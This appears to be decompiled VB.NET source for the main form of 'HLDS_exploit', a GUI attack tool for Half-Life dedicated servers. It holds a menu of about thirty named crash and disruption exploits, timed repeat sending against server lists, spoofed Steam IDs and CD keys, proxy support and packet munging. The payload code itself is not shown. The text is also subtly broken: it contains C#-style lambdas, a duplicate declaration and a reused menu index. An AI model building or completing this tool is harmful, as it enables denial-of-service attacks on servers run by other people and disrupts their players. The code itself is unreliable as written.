zab

Imports HLDS_exploit
Imports HLDS_exploit.Properties
Imports MyProg
Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Linq
Imports System.Net
Imports System.Net.Sockets
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Windows.Forms

Namespace HLDSexploit
    Public Class Form1
        Inherits Form
        ' Methods
        Public Sub New()
            Me.InitializeComponent
            Me.method.Text = "PICore"
        End Sub

        Public Sub AppendText(ByVal [text] As String, ByVal color As Color, ByVal Optional AddNewLine As Boolean = False)
            If AddNewLine Then
                [text] = ([text] & Environment.NewLine)
            End If
            Me.LogRichBox.SelectionStart = Me.LogRichBox.TextLength
            Me.LogRichBox.SelectionLength = 0
            Me.LogRichBox.SelectionColor = color
            Me.LogRichBox.AppendText([text])
            Me.LogRichBox.SelectionColor = Me.LogRichBox.ForeColor
        End Sub

        Private Sub asd2_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub AuthtypeComboBox_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs)
            If (Me.AuthtypeComboBox.SelectedIndex = 1) Then
                Me.checkBox2.Enabled = False
                Me.checkBox2.Checked = False
                Me.comboBox2.Enabled = False
                Me.textBox8.Text = "VALVE_ID_LAN"
            End If
            If (Me.AuthtypeComboBox.SelectedIndex = 2) Then
                Me.checkBox2.Enabled = False
                Me.checkBox2.Checked = False
                Me.comboBox2.Enabled = False
                Me.textBox8.Text = "VALVE_ID_LAN"
            End If
            If (Me.AuthtypeComboBox.SelectedIndex = 0) Then
                Me.checkBox2.Enabled = True
                Me.checkBox2.Checked = True
                Me.comboBox2.Enabled = True
                Me.textBox8.Text = "STEAM_ID_LAN (Random)"
            End If
        End Sub

        Private Sub backgroundWorker1_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs)
        End Sub

        Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
            Dim text As String = Me.ServerListRichBox.Text
            If (Me.method.SelectedIndex = 8) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( SV_ParseVoiceData )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 1) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( FileDeath 1.0 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 0) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( FileDeath 2.0 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 2) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Spawn Malfunction )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 3) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Heavy Resources )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 4) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( FakeConnect 2.0 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 6) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( KeysBugSpam )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 7) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Charachter Malfunction )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 9) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( PU HL )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 10) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Born To Be Pig )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 11) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( GZ_GetSpace Spam )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 12) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( *CstrikeDir )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 13) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( SV_FullUpdate )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 14) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( IndexOfEdict )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H18) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Bad Parse )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H17) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Shutdown )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H16) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( The Unknown )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H15) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( KickASS-HLDS )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H1B) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( HL-Boom )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = 20) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Jo's win32 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H13) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Jo's v2 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H12) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( FVU xD )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H11) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( Fuck DProto v1 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H10) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( SV_ParseCvarValue2 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H19) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( HL BOF )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H1A) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( HL Headnut )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H1B) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( KickASS-HLDS v1 )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H1F) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( SV_ParseConsistencyResponse )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H20) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( WarGods Killer )" & ChrW(10))
            End If
            If (Me.method.SelectedIndex = &H21) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( PICore )" & ChrW(10))
            End If
            If Not ((Me.method.SelectedIndex <> &H1D) OrElse String.IsNullOrEmpty(Me.ServerListRichBox.Text)) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( KickASS-HLDS v3 )" & ChrW(10))
                Me.timer2.Start
            ElseIf Not ((Me.method.SelectedIndex <> &H22) OrElse String.IsNullOrEmpty(Me.ServerListRichBox.Text)) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( MasterServer ClientFake )" & ChrW(10))
                Me.timer2.Start
            ElseIf Not ((Me.method.SelectedIndex <> 30) OrElse String.IsNullOrEmpty(Me.ServerListRichBox.Text)) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( KickASS-HLDS v4 )" & ChrW(10))
                Me.timer2.Start
            ElseIf Not ((Me.method.SelectedIndex <> &H1C) OrElse String.IsNullOrEmpty(Me.ServerListRichBox.Text)) Then
                Me.LogRichBox.Text = (" " & [text] & ">> Sending Exploit... ( KickASS-HLDS v2 )" & ChrW(10))
                Me.timer2.Start
            Else
                Dim num As Integer
                Me.timer1.Start
                If (Integer.TryParse(Me.textBox5.Text, num) AndAlso (num > 0)) Then
                    Me.timer1.Interval = num
                End If
            End If
        End Sub

        Private Sub button2_Click_1(ByVal sender As Object, ByVal e As EventArgs)
            Me.timer2.Stop
            Me.timer1.Stop
        End Sub

        Private Sub button3_Click_1(ByVal sender As Object, ByVal e As EventArgs)
            Dim num As Integer = CInt(New Form4().ShowDialog)
        End Sub

        Private Sub button4_Click(ByVal sender As Object, ByVal e As EventArgs)
            If Directory.Exists("settings/logs") Then
                Process.Start("settings\logs")
            End If
        End Sub

        Private Sub button4_MouseClick(ByVal sender As Object, ByVal e As MouseEventArgs)
            If Not Directory.Exists("settings/logs") Then
                Dim num As Integer = CInt(MessageBox.Show("Directory ""settings/logs"" not exist.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand))
            End If
        End Sub

        Private Sub button5_Click(ByVal sender As Object, ByVal e As EventArgs)
            Me.LogRichBox.Text = String.Concat(New Object() { DateTime.Now.Hour.ToString, ":", DateTime.Now.Minute, ":", DateTime.Now.Second, ": Code by SkillartzHD & Spawner11", Environment.NewLine, Environment.NewLine })
        End Sub

        Private Sub button6_Click(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub button6_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs)
            If (e.Button = MouseButtons.Left) Then
                Form1.ReleaseCapture
                Form1.SendMessage(MyBase.Handle, &HA1, 2, 0)
            End If
        End Sub

        Private Sub button7_Click(ByVal sender As Object, ByVal e As EventArgs)
            Directory.CreateDirectory("settings")
            Directory.CreateDirectory("settings/logs")
            Dim path As String = "settings/hlds_servers.txt"
            Dim str2 As String = "settings/hlds_proxys.txt"
            Dim writer As New StreamWriter("settings/hlds_name.txt")
            writer.Write(Me.NicknamesRichBox.Text)
            writer.Close
            Dim writer2 As New StreamWriter(path)
            writer2.Write(Me.ServerListRichBox.Text)
            writer2.Close
            Dim writer3 As New StreamWriter(str2)
            writer3.Write(Me.HLProxyRichBox.Text)
            writer3.Close
            Environment.Exit(0)
        End Sub

        Private Sub button7_MouseClick(ByVal sender As Object, ByVal e As MouseEventArgs)
        End Sub

        Private Sub button8_Click(ByVal sender As Object, ByVal e As EventArgs)
            Me.textBox14.Text = String.Empty
            Dim i As Integer
            For i = 0 To Me.textBox13.Lines.Length - 1
                If Not String.IsNullOrEmpty(Me.textBox13.Lines(i)) Then
                    Dim num2 As Integer = 0
                    Try
                        Dns.GetHostEntry(Me.textBox13.Lines(i))
                    Catch exception As SocketException
                        num2 = 1
                    End Try
                    If (num2 = 0) Then
                        Dim hostAddresses As IPAddress() = Dns.GetHostAddresses(Me.textBox13.Lines(i))
                        Dim j As Integer
                        For j = 0 To hostAddresses.Length - 1
                            Me.textBox14.AppendText((hostAddresses(j).ToString & ":27015" & Environment.NewLine))
                            Me.textBox14.SelectionStart = Me.textBox14.Text.Length
                            Me.textBox14.ScrollToCaret
                        Next j
                    End If
                End If
            Next i
        End Sub

        Private Sub checkBox1_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
            If Me.checkBox11.Checked Then
                Me.checkBox1.Checked = True
            End If
            If Me.checkBox1.Checked Then
                Me.NicknamesRichBox.Enabled = False
                Me.checkBox17.Enabled = True
                Me.textBox16.Enabled = True
            Else
                Me.checkBox17.Enabled = False
                Me.textBox16.Enabled = False
                Me.textBox16.Text = "15"
                Me.NicknamesRichBox.Enabled = True
            End If
        End Sub

        Private Sub checkBox10_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub checkBox11_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
            If Me.checkBox11.Checked Then
                Me.checkBox1.Checked = True
            Else
                Me.checkBox1.Checked = True
            End If
        End Sub

        Private Sub checkBox14_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)
            If Not Me.checkBox14.Checked Then
                Me.textBox8.Text = "STEAM_ID_LAN(Random)"
                Me.checkBox2.Checked = True
                Me.checkBox2.Enabled = True
            Else
                Me.textBox8.Text = "Steam Client"
                Me.checkBox2.Checked = False
                Me.checkBox2.Enabled = False
            End If
        End Sub

        Private Sub checkBox15_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
            If Me.saveSettings.Checked Then
                Dim file As New IniFile("savedSettings.ini")
                file.Write("AutoSave", Convert.ToString(Me.saveSettings.Checked), Nothing)
                file.Write("rndName", Convert.ToString(Me.checkBox1.Checked), Nothing)
                file.Write("pwServer", Convert.ToString(Me.checkBox5.Checked), Nothing)
                file.Write("rndSteamID", Convert.ToString(Me.checkBox2.Checked), Nothing)
                file.Write("rndCDKey", Convert.ToString(Me.checkBox3.Checked), Nothing)
                file.Write("receiveConnection", Convert.ToString(Me.checkBox7.Checked), Nothing)
                file.Write("hlsocks", Convert.ToString(Me.checkBox4.Checked), Nothing)
                file.Write("hltvClient", Convert.ToString(Me.checkBox6.Checked), Nothing)
                file.Write("invalidName", Convert.ToString(Me.checkBox11.Checked), Nothing)
                file.Write("checkPing", Convert.ToString(Me.checkBox10.Checked), Nothing)
                file.Write("COM_Munge_Filter", Convert.ToString(Me.checkBox8.Checked), Nothing)
                file.Write("logFile", Convert.ToString(Me.checkBox12.Checked), Nothing)
                file.Write("UTF8Name", Convert.ToString(Me.checkBox18.Checked), Nothing)
                file.Write("receiveSetinfo", Convert.ToString(Me.checkBox16.Checked), Nothing)
                file.Write("repeat", Convert.ToString(Me.checkBox9.Checked), Nothing)
                file.Write("steamClient", Convert.ToString(Me.checkBox14.Checked), Nothing)
                file.Write("followRedirect", Convert.ToString(Me.checkBox19.Checked), Nothing)
                file.Write("advancedPacket", Convert.ToString(Me.checkBox13.Checked), Nothing)
                file.Write("runOnce", Convert.ToString(Me.runOnce.Checked), Nothing)
                file.Write("nameLength", Convert.ToString(Me.checkBox17.Checked), Nothing)
                Dim num As Integer = CInt(MessageBox.Show("Your settings are Saved.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Asterisk))
            End If
        End Sub

        Private Sub checkBox17_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub checkBox17_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)
            If Me.checkBox17.Checked Then
                Me.textBox16.Enabled = True
            End If
            If Not Me.checkBox17.Checked Then
                Me.textBox16.Text = "15"
                Me.textBox16.Enabled = False
            End If
        End Sub

        Private Sub checkBox18_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub checkBox2_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
            If Not Me.checkBox2.Checked Then
                Me.comboBox2.Enabled = False
            End If
            If Me.checkBox2.Checked Then
                Me.comboBox2.Enabled = True
            End If
            If Me.checkBox2.Checked Then
                Me.textBox8.Text = "STEAM_ID_LAN (Random)"
            End If
            If Not Me.checkBox2.Checked Then
                Me.textBox8.Text = "STEAM_0:0:1337"
            End If
        End Sub

        Private Sub checkBox3_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
            If Me.checkBox3.Checked Then
                Me.textBox4.Enabled = False
            Else
                Me.textBox4.Enabled = True
            End If
        End Sub

        Private Sub checkBox4_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)
            If Me.checkBox4.Checked Then
                Me.textBox1.Enabled = True
                Me.HLProxyRichBox.Enabled = True
            Else
                Me.HLProxyRichBox.Text = ""
                Me.textBox1.Enabled = False
                Me.HLProxyRichBox.Enabled = False
            End If
        End Sub

        Private Sub checkBox5_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)
            If Me.checkBox5.Checked Then
                Me.textBox6.Enabled = True
            Else
                Me.textBox6.Enabled = False
            End If
        End Sub

        Private Sub checkBox6_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
            If (Me.AuthtypeComboBox.SelectedIndex = 1) Then
                Me.textBox8.Text = "VALVE_ID_LAN"
            End If
            If (Me.AuthtypeComboBox.SelectedIndex = 2) Then
                Me.textBox8.Text = "VALVE_ID_LAN"
            End If
            If (Me.AuthtypeComboBox.SelectedIndex = 0) Then
                Me.textBox8.Text = "STEAM_0:0:1337"
            End If
            If Me.checkBox6.Checked Then
                Me.textBox8.Text = "HLTV"
                Me.checkBox2.Enabled = False
                Me.checkBox2.Checked = False
            End If
            If Not Me.checkBox6.Checked Then
                Me.checkBox2.Enabled = True
                Me.checkBox2.Checked = False
            End If
        End Sub

        Private Sub checkBox7_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub checkBox9_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs)
            If Me.checkBox9.Checked Then
                Me.textBox9.Enabled = True
                Me.textBox9.Text = "1"
            End If
            If Not Me.checkBox9.Checked Then
                Me.textBox9.Enabled = False
                Me.textBox9.Text = "1"
            End If
        End Sub

        Public Function COM_Munge(ByVal buffers As Byte()) As Byte()
            Dim num As Integer
            If (buffers.Length < 9) Then
                Return Nothing
            End If
            Dim destinationArray As Byte() = New Byte(((((buffers.Length / 4) * 4) + 4) + 4)  - 1) {}
            Array.Copy(buffers, destinationArray, buffers.Length)
            Dim selector As Func(Of Byte, Integer, Byte) = Nothing
            Dim i As Integer = 0
            Do While (i < (buffers.Length / 4))
                If (selector Is Nothing) Then
                    selector = (b, j) => b = CByte((b Xor CByte((((Me.Data.Table(((i + j) And 15)) Or (j << j)) Or j) Or &HA5))))
                End If
                Buffer.BlockCopy(BitConverter.GetBytes(CInt((BitConverter.ToInt32(Enumerable.ToArray(Of Byte)(Enumerable.Select(Of Byte, Byte)(Enumerable.Reverse(Of Byte)(DirectCast(BitConverter.GetBytes(DirectCast((BitConverter.ToUInt32(destinationArray, ((i * 4) + 8)) Xor Not destinationArray(0)), UInt32)), IEnumerable(Of Byte))), selector)), 0) Xor destinationArray(0)))), 0, destinationArray, ((i * 4) + 8), 4)
                num = i
                i = (num + 1)
            Loop
            Return Enumerable.ToArray(Of Byte)(Enumerable.Take(Of Byte)(DirectCast(destinationArray, IEnumerable(Of Byte)), buffers.Length))
        End Function

        Public Function COM_UnMunge(ByVal buffers As Byte()) As Byte()
            Dim num As Integer
            If (buffers.Length < 9) Then
                Return Nothing
            End If
            Dim destinationArray As Byte() = New Byte(((((buffers.Length / 4) * 4) + 4) + 4)  - 1) {}
            Array.Copy(buffers, destinationArray, buffers.Length)
            Dim selector As Func(Of Byte, Integer, Byte) = Nothing
            Dim i As Integer = 0
            Do While (i < (buffers.Length / 4))
                If (selector Is Nothing) Then
                    selector = (b, j) => b = CByte((b Xor CByte((((Me.Data.Table(((i + j) And 15)) Or (j << j)) Or j) Or &HA5))))
                End If
                Buffer.BlockCopy(BitConverter.GetBytes(CInt((BitConverter.ToInt32(Enumerable.ToArray(Of Byte)(Enumerable.Reverse(Of Byte)(Enumerable.Select(Of Byte, Byte)(DirectCast(BitConverter.GetBytes(DirectCast((BitConverter.ToUInt32(destinationArray, ((i * 4) + 8)) Xor Not destinationArray(0)), UInt32)), IEnumerable(Of Byte)), selector))), 0) Xor destinationArray(0)))), 0, destinationArray, ((i * 4) + 8), 4)
                num = i
                i = (num + 1)
            Loop
            Return Enumerable.ToArray(Of Byte)(Enumerable.Take(Of Byte)(DirectCast(destinationArray, IEnumerable(Of Byte)), buffers.Length))
        End Function

        Private Sub comboBox1_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs)
            If (Me.comboBox1.SelectedIndex = 2) Then
                Me.textBox11.Enabled = True
            Else
                Me.textBox11.Enabled = False
            End If
        End Sub

        Private Sub comboBox2_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Protected Overrides Sub Dispose(ByVal disposing As Boolean)
            If (disposing AndAlso (Not Me.components Is Nothing)) Then
                Me.components.Dispose
            End If
            MyBase.Dispose(disposing)
        End Sub

        Public Shared Function fix2(ByVal i As Integer, ByVal Optional start As Integer = 1) As Byte
            Dim j As Integer = start
            Do While (j <= &HFF)
                If (Form1.fixbug(i, 1) >= &HFF) Then
                    Form1.here = (start + Form1.holdV)
                    Exit Do
                End If
                j += 1
            Loop
            Return CByte(Form1.here)
        End Function

        Public Shared Function fixbug(ByVal i As Integer, ByVal Optional start As Integer = 1) As Byte
            If ((i <= &HFF) OrElse (i <> &HFF)) Then
                Return CByte(i)
            End If
            Return CByte(start)
        End Function

        Public Shared Function fixbug2(ByVal i As Integer) As Byte
            Return CByte(New Random().Next(4))
        End Function

        Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As FormClosedEventArgs)
            Settings.Default.Save
        End Sub

        Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
            Dim writer As StreamWriter
            Dim reader As StreamReader
            Dim file As New IniFile("savedSettings.ini")
            If (file.Read("AutoSave", Nothing) = "True") Then
                Dim str As String = file.Read("rndName", Nothing)
                Dim str2 As String = file.Read("pwServer", Nothing)
                Dim str3 As String = file.Read("rndSteamID", Nothing)
                Dim str4 As String = file.Read("rndCDKey", Nothing)
                Dim str5 As String = file.Read("receiveConnection", Nothing)
                Dim str6 As String = file.Read("hlsocks", Nothing)
                Dim str7 As String = file.Read("hltvClient", Nothing)
                Dim str8 As String = file.Read("invalidName", Nothing)
                Dim str9 As String = file.Read("checkPing", Nothing)
                Dim str10 As String = file.Read("COM_Munge_Filter", Nothing)
                Dim str11 As String = file.Read("logFile", Nothing)
                Dim str12 As String = file.Read("UTF8Name", Nothing)
                Dim str13 As String = file.Read("receiveSetinfo", Nothing)
                Dim str14 As String = file.Read("steamClient", Nothing)
                Dim str15 As String = file.Read("repeat", Nothing)
                file.Read("followRedirect", Nothing)
                Dim str16 As String = file.Read("advancedPacket", Nothing)
                file.Read("runOnce", Nothing)
                Dim str17 As String = file.Read("nameLength", Nothing)
                Me.checkBox1.Checked = Convert.ToBoolean(str)
                Me.checkBox5.Checked = Convert.ToBoolean(str2)
                Me.checkBox3.Checked = Convert.ToBoolean(str3)
                Me.checkBox7.Checked = Convert.ToBoolean(str4)
                Me.checkBox4.Checked = Convert.ToBoolean(str5)
                Me.checkBox6.Checked = Convert.ToBoolean(str6)
                Me.checkBox11.Checked = Convert.ToBoolean(str7)
                Me.checkBox10.Checked = Convert.ToBoolean(str8)
                Me.checkBox8.Checked = Convert.ToBoolean(str9)
                Me.checkBox12.Checked = Convert.ToBoolean(str10)
                Me.checkBox18.Checked = Convert.ToBoolean(str11)
                Me.checkBox16.Checked = Convert.ToBoolean(str12)
                Me.checkBox9.Checked = Convert.ToBoolean(str13)
                Me.checkBox14.Checked = Convert.ToBoolean(str14)
                Me.checkBox19.Checked = Convert.ToBoolean(str15)
                Me.checkBox13.Checked = Convert.ToBoolean(str16)
                Me.checkBox17.Checked = Convert.ToBoolean(str17)
            End If
            Me.AppendText(String.Concat(New Object() { DateTime.Now.Hour.ToString, ":", DateTime.Now.Minute, ":", DateTime.Now.Second, " >> Coded by SkillartzHD & Spawner", Environment.NewLine, Environment.NewLine }), Color.Yellow, True)
            Directory.CreateDirectory("settings")
            Dim path As String = "settings/hlds_servers.txt"
            Dim str19 As String = "settings/hlds_proxys.txt"
            Dim str20 As String = "settings/license.txt"
            Dim str21 As String = "settings/hlds_name.txt"
            Dim str22 As String = "settings/packets_func.txt"
            If Not File.Exists(str22) Then
                writer = New StreamWriter(str22)
                writer.Write("hello")
                writer.Close
            End If
            If Not File.Exists(str21) Then
                writer = New StreamWriter(str21)
                writer.WriteLine("ya7wiiini")
                writer.WriteLine("Zabzob")
                writer.WriteLine("YDK F ZB")
                writer.Close
            End If
            If Not File.Exists(path) Then
                Me.ServerListRichBox.Text = "127.0.0.1:27014"
                writer = New StreamWriter(path)
                writer.Write(Me.ServerListRichBox.Text)
                writer.Close
            End If
            If Not File.Exists(str19) Then
                writer = New StreamWriter(str19)
                writer.Write(Me.HLProxyRichBox.Text)
                writer.Close
            End If
            If Not File.Exists(str20) Then
                writer = New StreamWriter(str20)
                writer.Write("error")
                writer.Close
            End If
            Using reader = New StreamReader(New FileStream(str21, FileMode.Open, FileAccess.Read), Encoding.UTF8)
                Me.NicknamesRichBox.Text = reader.ReadToEnd
            End Using
            Using reader = New StreamReader(New FileStream(path, FileMode.Open, FileAccess.Read), Encoding.UTF8)
                Me.ServerListRichBox.Text = reader.ReadToEnd
            End Using
            Using reader = New StreamReader(New FileStream(str19, FileMode.Open, FileAccess.Read), Encoding.UTF8)
                Me.HLProxyRichBox.Text = reader.ReadToEnd
            End Using
            Me.Label4.Text = ("Servers : " & Enumerable.Count(Of String)((From line In DirectCast(Me.ServerListRichBox.Lines, IEnumerable(Of String))
                Where Not String.IsNullOrEmpty(line)
                Select line)).ToString)
            Me.Label1.Text = ("Name : " & Enumerable.Count(Of String)((From line In DirectCast(Me.NicknamesRichBox.Lines, IEnumerable(Of String))
                Where Not String.IsNullOrEmpty(line)
                Select line)).ToString)
            Me.label14.Text = ("HLProxy/HLSocks: " & Enumerable.Count(Of String)((From line In DirectCast(Me.HLProxyRichBox.Lines, IEnumerable(Of String))
                Where Not String.IsNullOrEmpty(line)
                Select line)).ToString)
            Dim random As New Random
            Me.textBox4.Text = New String(Enumerable.ToArray(Of Char)((From s In Enumerable.Repeat(Of String)("0123456789abc", &H20) Select s.Chars(random.Next(s.Length)))))
            Me.textBox9.Enabled = False
            Dim random As New Random
            Me.asd2.Text = (random.Next(&H11E1A300))
            Me.textBox11.Text = (random.Next(1, &H7530))
            Me.textBox4.Enabled = False
            Me.textBox1.Enabled = False
            Me.HLProxyRichBox.Enabled = False
            Me.NicknamesRichBox.Enabled = False
            Me.textBox6.Enabled = False
            Me.method.SelectedIndex = &H21
            Me.comboBox3.SelectedIndex = 0
            Me.comboBox2.SelectedIndex = 6
            Me.comboBox1.SelectedIndex = 0
            Me.AuthtypeComboBox.SelectedIndex = 0
            Me.ProtocolComboBox.SelectedIndex = 0
        End Sub

        Private Sub groupBox2_Enter(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub groupBox3_Enter(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub groupBox5_Enter(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub HLProxyRichBox_KeyPress(ByVal sender As Object, ByVal e As KeyPressEventArgs)
            If Not Me.checkBox17.Checked Then
                If (((Not Char.IsControl(e.KeyChar) AndAlso Not Char.IsDigit(e.KeyChar)) AndAlso (e.KeyChar <> "."c)) AndAlso (e.KeyChar <> ":"c)) Then
                    e.Handled = True
                End If
                If ((e.KeyChar = "."c) AndAlso ((e.KeyChar = ":"c) AndAlso (TryCast(sender,TextBox).Text.IndexOf("."c) > -1))) Then
                    e.Handled = True
                End If
            End If
        End Sub

        Private Sub HLProxyRichBox_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
            Me.label14.Text = ("HLProxy/HLSocks: " & Enumerable.Count(Of String)((From line In DirectCast(Me.HLProxyRichBox.Lines, IEnumerable(Of String))
                Where Not String.IsNullOrEmpty(line)
                Select line)).ToString)
        End Sub

        Private Sub InitializeComponent()
            Me.components = New Container
            Me.Label8 = New Label
            Me.MessageTxtBox = New TextBox
            Me.button2 = New Button
            Me.timer1 = New Timer(Me.components)
            Me.Button1 = New Button
            Me.timer2 = New Timer(Me.components)
            Me.groupBox5 = New GroupBox
            Me.LogRichBox = New RichTextBox
            Me.button4 = New Button
            Me.button5 = New Button
            Me.button6 = New Button
            Me.button7 = New Button
            Me.tabPage2 = New TabPage
            Me.groupBox3 = New GroupBox
            Me.runOnce = New CheckBox
            Me.checkBox17 = New CheckBox
            Me.textBox16 = New TextBox
            Me.checkBox19 = New CheckBox
            Me.checkBox18 = New CheckBox
            Me.label15 = New Label
            Me.checkBox16 = New CheckBox
            Me.saveSettings = New CheckBox
            Me.checkBox14 = New CheckBox
            Me.textBox8 = New TextBox
            Me.label2 = New Label
            Me.checkBox13 = New CheckBox
            Me.textBox6 = New TextBox
            Me.checkBox12 = New CheckBox
            Me.checkBox11 = New CheckBox
            Me.checkBox10 = New CheckBox
            Me.checkBox9 = New CheckBox
            Me.label10 = New Label
            Me.textBox9 = New TextBox
            Me.textBox4 = New TextBox
            Me.checkBox8 = New CheckBox
            Me.checkBox7 = New CheckBox
            Me.checkBox3 = New CheckBox
            Me.checkBox6 = New CheckBox
            Me.checkBox4 = New CheckBox
            Me.checkBox2 = New CheckBox
            Me.checkBox1 = New CheckBox
            Me.checkBox5 = New CheckBox
            Me.groupBox1 = New GroupBox
            Me.textBox12 = New TextBox
            Me.label20 = New Label
            Me.textBox11 = New TextBox
            Me.label19 = New Label
            Me.comboBox3 = New ComboBox
            Me.label17 = New Label
            Me.label16 = New Label
            Me.comboBox2 = New ComboBox
            Me.comboBox1 = New ComboBox
            Me.asd2 = New TextBox
            Me.label11 = New Label
            Me.textBox5 = New TextBox
            Me.label9 = New Label
            Me.textBox7 = New TextBox
            Me.label13 = New Label
            Me.label5 = New Label
            Me.textBox1 = New TextBox
            Me.textBox2 = New TextBox
            Me.label3 = New Label
            Me.Label7 = New Label
            Me.Label6 = New Label
            Me.ProtocolComboBox = New ComboBox
            Me.AuthtypeComboBox = New ComboBox
            Me.tabPage1 = New TabPage
            Me.groupBox2 = New GroupBox
            Me.textBox10 = New TextBox
            Me.label14 = New Label
            Me.Label4 = New Label
            Me.HLProxyRichBox = New TextBox
            Me.Label1 = New Label
            Me.NicknamesRichBox = New TextBox
            Me.ServerListRichBox = New TextBox
            Me.method = New ComboBox
            Me.label12 = New Label
            Me.textBox3 = New TextBox
            Me.tabControl1 = New TabControl
            Me.tabPage3 = New TabPage
            Me.tabPage4 = New TabPage
            Me.label21 = New Label
            Me.label18 = New Label
            Me.button8 = New Button
            Me.textBox14 = New TextBox
            Me.textBox13 = New TextBox
            Me.tabPage5 = New TabPage
            Me.groupBox5.SuspendLayout
            Me.tabPage2.SuspendLayout
